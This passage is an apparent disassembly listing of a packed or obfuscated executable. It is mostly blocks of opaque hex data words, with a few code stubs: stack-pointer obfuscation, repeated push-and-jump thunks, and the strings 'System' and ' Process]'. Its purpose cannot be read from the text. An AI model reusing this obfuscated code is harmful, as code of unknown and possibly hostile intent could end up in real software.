		dd 46DFAB9Ch, 64D78A71h, 6BF4B5C6h, 0EE333B2Bh,	3568F081h
		dd 20ED313Ah, 0F5374798h, 3DDD37EAh, 3F73058h, 1BDF2921h
		dd 0FBECFC50h, 62E8933Ch, 1C68BEEh, 0D710A419h,	3B15C833h
		dd 0FBACBBE8h, 5C31313Bh, 2477F32Ch, 3BFBACFBh,	56EF29D2h
		dd 2A03BC8Ch, 0BB3F4D95h, 2679B2C6h, 3BFBA4FDh,	8E42ABD0h
		dd 5C59C5A5h, 459DAFE9h, 9000000h, 8232A2A6h, 0AB446D3Eh
		dd 721946DFh, 94C79BBFh, 46DFAB6Bh, 33E65942h, 94B46437h
		dd 0F09B3CFCh, 0A760174Ah, 0DC7C58A3h, 0FC92A2CFh, 0BB27D83Bh
		dd 0A93BC18Ah, 4EA99B76h, 0AF54D102h, 0F85C4D95h, 48000000h
		dd 42C80349h, 0C2E9596Fh, 46DFAB99h, 0A661296Ch, 0A71A00F3h
		dd 5D30DA15h, 576F42Fh,	7A1C7FC5h, 65E52F4Ch, 221FACC1h
		dd 67F5B5F6h, 0E3A946DFh, 6D1F7228h, 1EDAA8B2h,	6AE30C5Fh
		dd 0D1BA46DFh, 16B9DC1Eh, 2C7FFBD5h, 3CFC8094h,	215CF09Bh
		dd 30B80151h, 0E664A3EBh, 3CEF3B15h, 0F5325B3Eh, 0DEAAE655h
		dd 9857671Ah, 50B6B2BCh, 4E7316EAh, 10025689h, 1A5C27B7h
		dd 0D905ED3Eh, 25583217h, 49B25893h, 8F315496h,	15BB9E4Ch
		dd 5F83144h, 0E59556DBh, 7729CD09h, 7CEh, 33E7206Bh, 0BB6FA8DEh
		dd 7F33446h, 8278B1C2h,	0CFE394Fh, 0C3F5EFE3h, 487F5208h
		dd 0D1E6DB8Fh, 5D6FA218h, 5F1B28E2h, 0F6B6E30Ch, 0CFDFBA3Bh
		dd 16C40749h, 0A5398933h, 0DFAACDF6h, 0A8FBA046h, 46DFAB7Fh
		dd 0AAACD586h, 9A8146DFh, 72289B80h, 8317AFEh, 0DD46DFABh
		dd 0A6C2E22Eh, 0D586A4A2h, 3CFC9425h, 0B4E76308h, 3BFC9287h
		dd 20682757h, 71E57D34h, 7C51F9ACh, 0A36F0D4Ah,	8CA5C582h
		dd 0BF5431D9h, 69964533h, 4B5AE3C5h, 0F94E4D95h, 0EA000000h
		dd 0D609C6F7h, 0B6864E13h, 7DA1EB85h, 62C80349h, 52BE790Fh
		dd 0FABDC3A6h, 0E42A7EF7h, 40CABD95h, 0DEBF9B5Bh, 7EB9C346h
		dd 0C803498Ch, 0A7EB8E42h, 0C31B4417h, 9F246DEh, 0F8F07A56h
		dd 6492C0Eh, 35F284C5h,	0B44C1FDBh, 6B3CFBD8h, 6018CA80h
		dd 9BC044E6h, 3BFBE672h, 567BA04Bh, 56828991h, 8C60D982h
		dd 46353217h, 7D0D60E4h, 60B39882h, 46D98C37h, 8C648DDEh
		dd 523946D9h, 0F1795338h, 2170187Dh, 6EEC5F98h,	0E50E5D9Dh
		dd 0B846D98Bh, 0EC90F9D3h, 67FB7F2Bh, 0D98C0B34h, 0DF39E246h
		dd 0D711CAFAh, 9E50A48h, 8B853BDFh, 2C000006h, 93F6A49Dh
		dd 1B7E2CEBh, 87FAB077h, 4535F2h, 0A0CFBB7Ch, 0C506B632h
		dd 4C8D3015h, 0D512BB9Eh, 5F982065h, 0C99258EBh, 3BF6B6A0h
		dd 0A8828875h, 0CE4C8735h, 9626137Dh, 18A0E555h, 83701BDFh
		dd 90DDEEC7h, 78807854h, 42C80349h, 38610A8Eh, 0D46DFABh
		dd 0B5C7321Eh, 0EF9DF07Ah, 0EB251634h, 0AADF0C1Fh, 0B6E46DFh
		dd 0B19A8047h, 6BDD9D67h, 7CEF9CCFh, 7B1E3CF8h,	91BAE151h
		dd 643BF6BAh, 0F546C4B7h, 5E9C8F9Bh, 0E456913Bh, 3A201BA1h
		dd 9456B0A8h, 13CB3BC7h, 0FBFD232h, 0EC14AD0h, 0EAACC1D2h
		dd 0EA8CA009h, 5DEh, 3F7305Bh, 8B7FB8CEh, 17C304B6h, 92488132h
		dd 1CCE09BFh, 0D3E5DF13h, 586FA218h, 0A1D62B9Fh, 2D5FB268h
		dd 4F0B38F2h, 0F6B4F31Ch, 0DF2FCA3Bh, 0DB480349h, 0EA5E16A8h
		dd 0B1DA60D3h, 0E879BDB6h, 0CD6DA77Ah, 0E367A0E8h, 9777FB14h
		dd 7B002AE5h, 7901D8D4h, 4134BBEh, 0D0EFAD6h, 4776EE70h
		dd 0FA4F3D4Eh, 0F528E194h, 0C811FD5Eh, 0FB0D4780h, 19h
		dd 3467FB7Fh, 46DED80Bh, 0BDE639E2h, 9046DED7h,	8A7DA1EBh
		dd 163h, 0AB527F22h, 0F5F546DFh, 4C84D713h, 433CF87Ch
		dd 0CDFF9258h, 57655812h, 87FA7E9Ch, 2A1139F6h,	0E26464EEh
		dd 5B942558h, 26B2F971h, 0F93213CBh, 0ACABD612h, 9EB209EAh
		dd 515F8h, 2EE79200h, 0B671197Ch, 3AFD81C4h, 0BF780D40h
		dd 5C6F6CBh, 3CA85A55h,	0A69B4F88h, 2164D617h, 96EB5F98h
		dd 0D27129E2h, 0B52A5318h, 16033BF6h, 0C8034910h, 745D6F42h
		dd 38838740h, 0C8B0957Dh, 3FF2A5F0h, 5F033C1Bh,	8C23D4Fh
		dd 760C4AF3h, 77E47h, 8A2E0000h, 0CBh, 0C923A822h, 0D97DCB5h
		dd 0B4B4BE9Ah, 7114E852h, 0BE8D8D4Eh, 959A5152h, 88733CF7h
		dd 54B2EA2h, 0A0F358C2h, 3BF79577h, 0E7735D4Eh,	4D3DF682h
		dd 6C114008h, 95668FDCh, 4C3F3BF7h, 0AE242699h,	0FB9E5CAAh
		dd 85D614D3h, 3BF7955Ch, 0CA0E4A31h, 106651A1h,	0DBE12432h
		dd 0F287FA60h, 74194235h, 0F1A497B3h, 0AB641449h, 35EE9AFFh
		dd 0C1EAB135h, 0B346DEC3h, 210C1FD9h, 453644E4h, 6565EF0Bh
		dd 141447E3h, 0FB3CFBBDh, 0B9A3D410h, 9ABE14C2h, 425E4h
		dd 3EF78200h, 8641094Ch, 0ACDF1D4h, 8F487D50h, 15D6E6DBh
		dd 2C984AA5h, 96EB5F98h, 117426E7h, 86FBAF68h, 0C24139F2h
		dd 0B43A6308h, 66133BF6h, 1288A20h, 0A6220000h,	0D586A4A2h
		dd 3CF87C1Eh, 0ADDE1C0Fh, 0E7A85241h, 759ECD37h, 483BF70Eh
		dd 214AF0A3h, 3BF70DF8h, 66F2DECDh, 0CCBE7903h,	0EF9EC389h
		dd 15DF7B2Eh, 1277F355h, 0E961AB64h, 0FDF72C2h,	0FB800532h
		dd 7C2F1C3Eh, 36F19BFEh, 3F3E6734h, 641746DFh, 3F4D2028h
		dd 893316C4h, 0D476B3D8h, 0DC96B467h, 5B002A1Ch, 3CFC2D5Bh
		dd 681F4932h, 5F14C269h, 37805BBh, 8A310000h, 16A49951h
		dd 9A2C61D9h, 0E7A8ED5Dh, 63156822h, 45B5F2A8h,	38F2355Bh
		dd 8179B2C5h, 8C23F4Ch,	9E4C8735h, 8DB6E575h, 603BF6B3h
		dd 34975B5h, 951962C8h,	0BCB68CC2h, 47991FBh, 0A09FBB74h
		dd 5922238Fh, 61509151h, 0E9C00CCDh, 99B268A3h,	477636ECh
		dd 55E4h, 0BC374400h, 84BF6FACh, 0A6062672h, 0D586A4A2h
		dd 3CFCDC82h, 473A00EBh, 5E9AF631h, 0B1C6973Bh,	0B669D278h
		dd 0E360C7B4h, 378CF4BBh, 0F308C5D5h, 91FBAE48h, 66B6E229h
		dd 24593BFCh, 4CBF5B94h, 28632900h, 0AA1004Ch, 985205DAh
		dd 34D611A5h, 2C992h, 490A00h, 5A6E43C7h, 0A4D429E1h, 1CAACF6Bh
		dd 6C41E923h, 2247E35Ch, 4AB15992h, 0B0A8BA0Eh,	6B109456h
		dd 0F1A3AE40h, 5F88D355h, 3646DF7Ch, 65469245h,	3CFC9911h
		dd 208B8F7Ch, 3BFCA0F3h, 5E6AF469h, 4D95DEA1h, 15D2F89Dh
		dd 12A71F5h, 0D43BFC99h, 0E6187427h, 40h, 0CB9A2F42h, 76C54582h
		dd 58B48783h, 0A4A2A644h, 9425D586h, 44D83CFCh,	0FC91EE17h
		dd 0F8D4C73Bh
		dd 4C5FFBA0h, 3BFC921Fh, 52199D5Dh, 3BFC9229h, 8C50FFCh
		dd 0C9E582A6h, 0E4EF4D95h, 9F000000h, 4A8535A8h, 38117BC0h
		dd 3FB35790h, 7896354Ch, 9AFFD002h, 261535EEh, 3EF98FEAh
		dd 0D813B91Ch, 0F22D5F32h, 0AC33F338h, 216B46DEh, 0ABD134E6h
		dd 6018EA70h, 0F31744E6h, 0DA3CFBC0h, 0EFEB7931h, 798AD119h
		dd 0CC32177Bh, 9EFA2348h, 28D346D9h, 6BCFBCECh,	1F481397h
		dd 0F646D99Fh, 9EC9F205h, 99BB46D9h, 0D6554C95h, 0D1190218h
		dd 0D8AE618Ah, 0D473446h, 23E4A8CDh, 2C7FF377h,	46D8AE03h
		dd 0F2E731DAh, 9EDF09C2h, 9509E5E8h, 19CDF71h, 6E1D0000h
		dd 0FA80C5B5h, 46084D3Dh, 0C3F4C981h, 4F715406h, 21D1DE8Ch
		dd 64D611A7h, 0ED5D9E21h, 7426E3A8h, 0FAB06B11h, 0B1DA8149h
		dd 843BF6B0h, 7499199h,	893316C4h, 0C872B7D8h, 0DFAB7AA3h
		dd 0F5A85346h, 3B4C2105h, 0AAB9E289h, 9F8C46DFh, 0A6BCE02Ch
		dd 488132A2h, 56065595h, 393CFC94h, 4734C852h, 0A323D488h
		dd 0B483F698h, 3A91678Bh, 0B2DFC00Ch, 283BFC18h, 0E09DAB37h
		dd 0E84D9542h, 0A1h, 0A19A2D40h, 3493777h, 596F42C8h, 6F2F7C9Eh
		dd 1746DFAAh, 7CF0AA65h, 0EC357619h, 0D37123F7h, 32277124h
		dd 7CD4D86h, 1665C543h,	46040D0Dh, 39311B58h, 0FC4A4E72h
		dd 0A01A013Ch, 0FA40C682h, 17F6C1B1h, 43E79432h, 0ED5D9E2Eh
		dd 3B5E4A8h, 802B15C8h,	9709E56Ch, 0BCDD73h, 4E7D0000h
		dd 0DAE02595h, 2668AD1Dh, 0A3D429E1h, 2F51B466h, 1F13EECh
		dd 4436F187h, 0CDBD7E01h, 5406C388h, 0DA904B71h, 0D1FAA129h
		dd 0A43BF6AFh, 749B1F9h, 6EEC2552h, 1D702A9Dh, 62C6B46Fh
		dd 54807F0Fh, 0C8034950h, 94BDEE62h, 6946DFABh,	0B7FA4F82h
		dd 9FC2A835h, 0ACC185B5h, 80E9231Ch, 994B3FF8h,	98C367E1h
		dd 3CF7CA50h, 2BE492F7h, 3444B9E1h, 67B6DF8Ch, 9C8F3BF7h
		dd 67DA2129h, 1FA8EE3h,	8B447449h, 42BBCAAFh, 0C8B9E216h
		dd 9433BF63h, 6913F37Fh, 0F399FCAEh, 0ABF1238h,	0CF444DCDh
		dd 3EF98363h, 8843094Ch, 0CEC82h, 1F6C0000h, 6A10811Dh
		dd 0D9CD0782h, 249E0C8h, 5C6C41C9h, 750267E3h, 943B9EBCh
		dd 0A2D2B753h, 0F88CE169h, 15A61B3Fh, 2F5336D4h, 7F0F62E8h
		dd 68B99A80h, 7457h, 68240489h,	5918h, 68241489h, 61B5h
		dd 51240489h, 0E8F202B9h, 2C81510Ah, 24499524h,	0C2815A5Bh
		dd 5B244995h, 48B5459h,	4C48324h, 4EC81h, 14890000h, 8408F24h
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		dw 606Fh
		dd 84C0F8FEh, 97356337h, 15B89107h, 30AE8FCh, 0E0FFC5h
		dd 541631DFh, 0BA413B6Dh, 0D638430Fh, 121495F1h, 0E1072FE9h
		dd 833676CEh, 0CB6600BFh, 890EF629h, 0E827F033h, 0BC468DDCh
		dd 6A459B4Dh, 0ED182687h, 0EF3A24DAh, 8D37430Fh, 3D4FA42Bh
		dd 644DCFFDh, 8F50C5B4h, 7162C36Ah, 0A275A3F7h,	2B06334Eh
		dd 6C7B18F4h, 5E794DB6h, 921A2AA3h, 0E854F801h,	5F354F47h
		dd 664B01AEh, 0B0014190h, 0CC0B3E1Bh, 0B5F9485h, 6A7EFC16h
		dd 0E941B610h, 178h, 748DC032h,	84ED6FF8h, 4C114B90h, 0BCC5FB1h
		dd 52C7513Bh, 0BC451F8h, 52CF5F93h, 3BE4769Fh, 52B6238Eh
		dd 0D04D770Ch, 9C49C36Eh, 52F1B19Dh, 52801267h,	128h, 0
		dd 4, 2	dup(0)
		dd 33h,	0
		dd 8, 0
aSystem		db 'System',0
aProcess	db ' Process]',0
		align 4
		dd 43h dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5E3A91
; ---------------------------------------------------------------------------
		push	0AE90088h
		jmp	loc_597B18
; ---------------------------------------------------------------------------
		push	0AE90159h
		jmp	loc_597B18
; ---------------------------------------------------------------------------
		push	0AE9023Ah
		jmp	loc_597B18
; ---------------------------------------------------------------------------
		push	0AE90318h
		jmp	loc_597B18
; ---------------------------------------------------------------------------
		push	0AE9047Bh
		jmp	loc_597B18
; ---------------------------------------------------------------------------
		push	0AE905E7h
		jmp	loc_597B18
; ---------------------------------------------------------------------------
		push	0AE906C7h
		jmp	loc_597B18
; ---------------------------------------------------------------------------
		push	0AE90797h
		jmp	loc_597B18
; ---------------------------------------------------------------------------
		push	0AE909C1h
		jmp	loc_597B18
; ---------------------------------------------------------------------------
		push	0AE90AB2h
		jmp	loc_597B18
; ---------------------------------------------------------------------------
		push	0AE90B57h
		jmp	loc_597B18
; ---------------------------------------------------------------------------
		push	0AE90C0Dh
		jmp	loc_597B18
; ---------------------------------------------------------------------------
		push	0AE90DB5h
		jmp	loc_597B18
; ---------------------------------------------------------------------------
		push	0AE9136Fh
		jmp	loc_597B18
; ---------------------------------------------------------------------------
		push	0AE9141Eh
		jmp	loc_597B18
; ---------------------------------------------------------------------------
		db 54h
		dd 4415E898h, 3267E686h, 2C7DF094h, 1B48CF6Fh, 0B759DC64h
		dd 35BD7053h, 0CC86132h, 19C15809h, 15B55506h, 0AEBA5312h
		dd 366536A9h, 0CD4C35EEh, 357FF46Ch, 65B8414Eh,	8149E132h
		dd 0C4605687h, 0B5C9FE27h, 0C058A9FCh, 0D28B0518h, 133F25C2h
		dd 674BAC6Fh, 0ACF39732h, 0AB050356h, 4C30B7A8h, 718BFB1Ch
		dd 0E52B33ABh, 0B0DB7DA0h, 17BADF04h, 39238043h, 4C30BB32h
		dd 7AED3065h, 33h, 17A5A699h, 2EDCEA76h, 0F4294BADh, 0A74B0217h
		dd 0AFC5E8A9h, 314F4235h, 34D4744Ch, 8B46938h, 8AA1533Ch
		dd 0BFEA6EF1h, 162AC877h, 0F2C343h, 790E0000h, 7A2F39E1h
		dd 4D5E3FC3h, 5160EC90h, 0A743660Eh, 12340AE3h,	3077B001h
		dd 0E8B9B7E6h, 2BB58850h, 414D545Dh, 24C58525h,	368558F3h
		dd 390FF467h, 32275B6h,	0AEBABA5Eh, 414E0EA9h, 91768BEEh
		dd 2523E384h, 592B4194h, 0ED7714A4h, 4BACF3F5h,	0EB0FAD9Dh
		dd 49EFAE8Dh, 5B1E16B2h, 468BD706h, 2D6CF884h, 0E29B15E8h
		dd 8C5435D2h, 4C314887h, 0EF7921B9h, 0FA2D70AAh, 0FD8FC71Dh
		dd 1346568Eh, 0D26E217Ah, 0B552971Bh, 0DC03AB60h, 0AE6FB85Dh
		dd 2C73060Eh, 0E78020DFh, 0EE50EA2Fh, 286B68A5h, 14501280h
		dd 3DF10000h, 2BE1B2B5h, 39DF8C83h, 14C99A9Dh, 9C49568h
		dd 3E0AE679h, 5FDE621Dh, 56A96D0Ah, 0A3A26605h,	0BFBE5AFEh
		dd 4EC51FF8h, 89366535h, 0C67929EAh, 0D2763B3Ah, 68F05136h
		dd 414E35E3h, 9F9EC114h, 0CD8D2D7Eh, 22EF3E43h,	4507A5A6h
		dd 5D8764B9h, 4BAD2F4Dh, 69CB4598h, 4C314FE6h, 0DB5376D2h
		dd 43162B7Ch, 0A76Fh, 0E179A200h, 0C37A2F39h, 0AC4D5E3Fh
		dd 35AFC5E8h, 414E3277h, 64FB9F3Bh, 79F79337h, 0FD93F6F7h
		dd 0C578712h, 1ECAA3E4h, 4BAE19A8h, 50B588EDh, 61E269F3h
		dd 0C0154C32h, 0CADA939Dh, 0D1E06C10h, 9E65FF9Ch, 0D9569018h
		dd 0FBB2E784h, 0C18A867h, 0D035084Dh, 357808C7h, 0BD9929E4h
		dd 6B6A4C41h, 7F9F3DABh, 20000013h, 1041C46Ch, 0E53D25Ah
		dd 0F8A9AC68h, 0F7A4BB43h, 5BB58838h, 0E1914C6Fh, 0F89C3D6Eh
		dd 0F5953465h, 0C1892172h, 0F26E0F4Eh, 3665347Dh, 7978D9BAh
		dd 763B3AC6h, 0C1B692D2h, 0F6414E35h, 2EF6EA3h,	7329E179h
		dd 0EBBEB6CBh, 8CBFBE4Fh, 212E7A1Fh, 9E3869ECh,	9F3B6EE6h
		dd 75B64EEBh, 660015F2h, 0D0307FAEh, 0D377A001h, 51262D37h
		dd 1C51414Dh, 0C4DDB7Bh, 0D388A4CBh, 58F324C5h,	0B0A86DB0h
		dd 4BAC452Eh, 0CED8AEFh, 306D5FD4h, 1245984Ch, 3E76F87Ah
		dd 7C71C1A6h, 0ADFE5F3Ch, 7194CF0h, 4E199AEBh, 6FF17FA2h
		dd 0D95E8A6Eh, 1E4E9DA3h, 7BE186DBh, 58F80865h,	4B28C114h
		dd 111FBB5Eh, 2CCC1D40h, 702ADA7Ch, 0ECBD8BCCh,	364B8C4Ch
		dd 2C66237h, 9650AA38h,	6B43C66h, 129Eh, 60E78B43h, 72F57933h
		dd 48CF8721h, 5BDA621Bh, 54AB5716h, 0AC6340B8h,	0B7500104h
		dd 0B04B181Fh, 0A44415E8h, 452261E4h, 6533989Fh, 5F24DF36h
		dd 9D25D8CDh, 4A9FCE93h, 9062EAAEh, 243CDDDBh, 4BAD0582h
		dd 0DF7CB086h, 42B7B7C6h, 9392C713h, 0E66E2ACEh, 0B8515F1Ch
		dd 1D97EBDBh, 0A62BEC09h, 9B51AAD1h, 94DB1C3Bh,	8AA7A988h
		dd 0C6A7FA56h, 0D3588061h, 4571B0Fh, 9D3D8ED1h,	91297AFDh
		dd 460710C9h, 9EDEAEA6h, 1A3B3831h, 0A16169AAh,	112F23D7h
		dd 0C23B3164h, 9D6B13C9h, 5D4127E9h, 0C90AFF9Dh, 0AE18F481h
		dd 70A77510h, 0B284FFFCh, 63A170F2h, 0EE7A1354h, 61735F6Fh
		dd 9F8861B4h, 8BD85FFBh, 53DD2BEFh, 0E77D1A9Ah,	6C62B597h
		dd 2F8F8BEEh, 0AD5538E9h, 11C09107h, 0AD610000h, 9B510205h
		dd 0A94F1C13h, 84396AEDh, 793465F8h, 0AE9A76C9h, 2F2ED28Dh
		dd 2639DD7Ah, 3332D675h, 0F0ECA6Eh, 0BEB5AF48h,	0F9366532h
		dd 0C679B91Ah, 40CC702Ah, 0F779FC31h, 1BC1A6F6h, 4BAD2FD3h
		dd 90D15F82h, 38DD50F8h, 848030EFh, 4F07A0F5h, 1C6DB0C1h
		dd 0CE50DC7Ch, 9EE8F0Dh, 28C1611Ch, 9CDD2B6Ch, 2C5F3749h
		dd 43965690h, 89A0A0C5h, 8F8E4AEEh, 0BF584805h,	4425C207h
		dd 18149C53h, 50F067FDh, 0F2275714h, 1CD26EB1h,	0D961734Ah
		dd 1055F594h, 0F6B4E114h, 0C304C066h, 0EFAB4F9Ch, 0B1D87061h
		dd 0D4801972h, 0DA9F6919h, 21DA5699h, 0A86EFA93h, 6D6C5650h
		dd 0C4643508h, 7B326704h, 0E0D79F7h, 6EF08CFBh,	15134287h
		dd 0DAFE989Bh, 2D5CF06Ch, 63E2A642h, 76FE9A3Eh,	0C8A1EFECh
		dd 1E7AF16Bh, 0F5916CDBh, 0E318FF0h, 16599CC6h,	0FA4FEB71h
		dd 0CB1E7739h, 38DC7D11h, 172869E7h, 0D587F710h, 0A19A57E3h
		dd 4467CE11h, 0DEBFFDFEh, 171BCB02h, 0BB558882h, 0D43EB776h
		dd 0D8876DCh, 0E042CA0Fh, 82A8326Fh, 0BA42F82Dh, 0B4B8EFB2h
		dd 0D800F9B7h, 8D00C771h, 8D9E7FA2h, 0DC5389EDh, 1B8D912Fh
		dd 0AFFBB0C6h, 0BC3E0F4Fh, 13B7E47Bh, 0F5A8F977h, 9177F14Dh
		dd 4BE132E2h, 105DD5h, 0A64A0200h, 0B438F2A7h, 8E46E0B1h
		dd 9D21DA8Fh, 6A16C99Ah, 220179EBh, 1340C76Bh, 0A5FDE76h
		dd 754AB6Fh, 0E1A0A763h, 3157DC04h, 0E3803665h,	0F46CCD1Eh
		dd 414E357Fh, 0E13265B8h, 6A83822Eh, 35D85F85h,	0DA1F414Eh
		dd 0DF29F189h, 62064B9Ah, 5FFBAEA6h, 2EC2ADBBh,	30D870FBh
		dd 0CD30AF3Dh, 973BB60Ah, 0D6000001h, 2F39E179h, 429EDE7Ah
		dd 414E35CDh, 9392D70Ah, 0AB4C5C11h, 2B31D6EBh,	4BAD12FFh
		dd 39D6BCEh, 4C315C10h,	6BE5A146h, 0FED0A146h, 16BF04F3h
		dd 580B0546h, 5BCA95B4h, 0F562CAE1h, 0F8431630h, 4Ch, 0B3A5A61Bh
		dd 360176D2h, 0E336414Eh, 4E35FA71h, 0A7F83D41h, 57AF0C6h
		dd 30A38D48h, 0B23028EDh, 0F34BACC0h, 4BCCA6AEh, 0BF4C30E1h
		dd 1946EE1Dh, 46431798h, 0D4F47BE1h, 0FE234C30h, 0B8BCAFh
		dd 6B5B0000h, 558E6714h, 0D4BDE02Dh, 0B33ED8CDh, 0E7921E30h
		dd 9F69AAFDh, 0A2468BDAh, 843B6EE6h, 438B8058h,	69CC414Dh
		dd 0F189D854h, 0C367B029h, 59D77317h, 849C718h,	43828953h
		dd 60B5414Dh, 0D672373Dh, 0E3A13332h, 0AF414D3Fh, 1ABA5F0Bh
		dd 0B0A4F12h, 17F4C4B9h, 0AB0078CDh, 997EA34Bh,	262ECE8Ch
		dd 0EA4B4C93h, 0F17F17B1h, 712C7DA0h, 621D4EC1h, 0A4E064DEh
		dd 0A20A7444h, 0EF1FCh,	52DE9E00h, 20CC8ED3h, 3ADA7C2Dh
		dd 9B5763Bh, 6AA6536h, 0BE9DED07h, 0AFFC73FFh, 0A6CB4A0Ah
		dd 93C04703h, 9DDC53F7h, 30EB60F8h, 772C3665h, 3AC6798Ah
		dd 36D2763Bh, 0E179DA37h, 0B2574039h, 37471A12h, 6A1173B7h
		dd 72FA2D54h, 1EFF9B3Fh, 0A2AA6E0Dh, 0F8A9C81Fh, 22ACB860h
		dd 56F26B29h, 4BAC50D0h, 0EEA64085h, 3FDBCCADh,	30D5549Bh
		dd 95B144E7h, 0FC1D2F2Fh, 0EF9F69AAh, 144FCB4Dh, 3F6EA352h
		dd 7E219h, 4DEB3C00h, 7A76489h,	0C6793BD0h, 0BFB0323Ah
		dd 36414E35h, 21866735h, 35939840h, 91C4414Eh, 35EB60F8h
		dd 0C92C414Eh, 0CAAB9AA6h, 0E4454BA6h, 3732F77Ch, 0AAFD204Ch
		dd 3B6C0D50h, 3764FB9Fh, 516F793h, 0E8A9A747h, 43FAAFC5h
		dd 0B6F983BFh, 0B13F7448h, 0E1103h, 72FEBE00h, 40ECAEF3h
		dd 5AFA9CCDh, 29D596DBh, 26CA85D6h, 0DEFDCD27h,	0CF9C931Fh
		dd 0C6EB6A2Ah, 0B3E06723h, 0BDFC7317h, 300B00D8h, 574C3665h
		dd 3AC679EAh, 36D2763Bh, 0AFCF6B3Eh, 4E35BEB5h,	63A4F941h
		dd 3356FAE5h, 32E8A038h, 5E6B7C8Ah, 0F4DC47AFh,	0B72CBCB3h
		dd 0BAB60A9Fh, 21h, 0E76CF455h,	10414DD7h
		dd 0AB2FBDCDh, 64F553EDh, 30B65831h, 0EC414E3Ch, 0EA4A8F2Fh
		dd 0FFFFFD9Ch, 35C5B67Fh, 2F2C414Eh, 312B8861h,	414E363Ah
		dd 53F7387Dh, 0BDA760B7h, 4BA6CAE4h, 4C2DCA2Fh,	101CA45Bh
		dd 2DCD1E41h, 0AC0DEA6Dh, 3A26DE7Bh, 4C373335h,	9BE83F62h
		dd 28CD5BFFh, 0B0BC5CFFh, 0B26DBEE1h, 0B69C340Eh, 0E64E7448h
		dd 0D4130h, 822EEE00h, 901CDE83h, 6A2ACC9Dh, 7905C6EBh
		dd 76FAB5E6h, 0E2D1DF7h, 0FFACA34Fh, 0F6BBBA5Ah, 0E3B0B753h
		dd 0CD8C8347h, 2F3B3028h, 877C3665h, 0F46CCD3Ah, 414E357Fh
		dd 0E13265B8h, 0E2878149h, 50F49246h, 0C44085D4h, 9D5004A5h
		dd 1554D015h, 0F5ED65Ah, 2E451E4Dh, 0F494DF0Ah,	433F4161h
		dd 4192677Dh, 32ABECA8h, 569941D9h, 0EA1A41D7h,	0D15B60Ah
		dd 3C000000h, 4E3C30B6h, 0C958FC41h, 0F1FFFFFCh, 7617A5A6h
		dd 0AD1340EAh, 21B80D4Bh, 52472479h, 0AAC21599h, 315846C8h
		dd 0F118BC4Ch, 16171E45h, 2081143h, 0B6C00000h,	414E35F5h
		dd 0B2565333h, 7F29C523h, 459456h, 1CBC5C0Dh, 0B2759E10h
		dd 1537414Dh, 3F68C9F6h, 0F067FD99h, 27414DB2h,	0B8830EC7h
		dd 0EA2F74B8h, 36D276BBh, 7C5D637h, 85A8E967h, 0A5A3F1EBh
		dd 0EF5842B0h, 81B37A4Ah, 0BD6D0D5Eh, 27267B1Bh, 8422D672h
		dd 2F818FC0h, 414D7B1Ch, 11CB13CAh, 414D7C1Ah, 49C7185Dh
		dd 4CD88018h, 42103B19h, 9B94D92Ah, 56D91A4Ah, 0E05FD7F2h
		dd 0EBB60A8Ch, 182h, 39E17926h,	0F369CE2Fh, 414E357Ch
		dd 0E23766BBh, 1838246h, 0FB70E84Ch, 3C414E35h,	1DC7A4F9h
		dd 4BAD12F1h, 75EF79BCh, 4C315C02h, 0A8B011F6h,	4C315BA3h
		dd 0FA5E81D4h, 13F867CFh, 74A14316h, 0C0B7ADB9h, 0F74C3153h
		dd 508861A2h, 4C3153DBh, 0A396D91Ch, 2Ah, 17A5A66Eh, 2EDCEA76h
		dd 0F4294BADh, 4E75E678h, 0E7614C31h, 2AF368C4h, 0D0FE4316h
		dd 19000000h, 7BAC6C0Ch, 6D2C38E0h, 0E179513Ah,	7EF69229h
		dd 3B6EE63Bh, 8570FC84h, 0DA52DA90h, 67035087h,	0FF65CAA3h
		dd 414E3578h, 3D2B7ABFh, 0B739CC6Ch, 0F9BA0D61h, 0D91ABE5Dh
		dd 0E91F8184h, 2D414DC7h, 77A65EF8h, 43C28622h,	0EF8C0CC1h
		dd 0ABA03075h, 51366B4Bh, 58E8A7F0h, 5AFE9DCCh,	0CA85D619h
		dd 0B3F49036h, 0B530EFBCh, 4A46B03h, 0E0973644h, 5BD55912h
		dd 0B680C506h, 74455A10h, 17D87EF6h, 0B800000Bh, 0A8F97C04h
		dd 0A6CB4AF2h, 90C14400h, 8FDC53DBh, 0C32D20D0h, 9929E4C7h
		dd 9034D586h, 6D2DCC9Dh, 7921B9EAh, 1AC6A7E6h, 36652D15h
		dd 79E0A142h, 0FC5D3AC6h, 4E35EF64h, 0A2F52841h, 37146A83h
		dd 0FC595B36h, 0AE4A9FCEh, 79FE6BEAh, 7A2F39E1h, 2EF40FDEh
		dd 30C6B5B6h, 7FB0F57Dh, 0A2BE1FF8h, 414D6DADh,	6D868D57h
		dd 6CB1414Dh, 0BC5CFF32h, 1814347Bh, 31000004h,	7BB227E4h
		dd 80D4CB74h, 0EBAEA6FBh, 963CFC4h, 9D7A3A33h, 0A6CA8D47h
		dd 4B01444Bh, 0D314A5A3h, 888F553Ah, 0CF4C3732h, 834D3B6Ah
		dd 372DCACAh, 56962A8Bh, 9F111F42h, 571A4E9Ch, 119DCC08h
		dd 5C392EAAh, 382A5h, 0C5B66C00h, 3C414E35h, 414E362Ch
		dd 0DEAAAA3h, 0AD253FD7h, 9C5E4B4Bh, 6FA06800h,	0EEAFE238h
		dd 7EB3C64Eh, 4345D8C4h, 0A41AD274h, 0A26h, 0E86F13CBh
		dd 0FA7D01BBh, 0F0770FA9h, 0C342EAA3h, 0DC53DF9Eh, 34EBC830h
		dd 3FD8898Ch, 38D38087h, 2CCC9D90h, 0CDAAE96Ch,	652C2017h
		dd 0D7BC5736h, 233FD8CDh, 4E363239h, 0FF306541h, 0ACFD2071h
		dd 7EC04C0Ch, 825E3F7Dh, 4BA6CA47h, 0D25ED104h,	66E29B19h
		dd 568FC7A7h, 5740397Ch, 0A5AAB6B2h, 0D257202Fh, 0B6CF1CBAh
		dd 1E5332A4h, 0E36D2DCDh, 69A9DDEh, 571F572Dh, 62E5B3B4h
		dd 70FC9831h, 5FF79085h, 7B1FBB08h, 2A6A63EDh, 498B974Dh
		dd 0AAFF617Eh, 0DE244B0Fh, 75E5BF9Bh, 75F35E14h, 981C7h
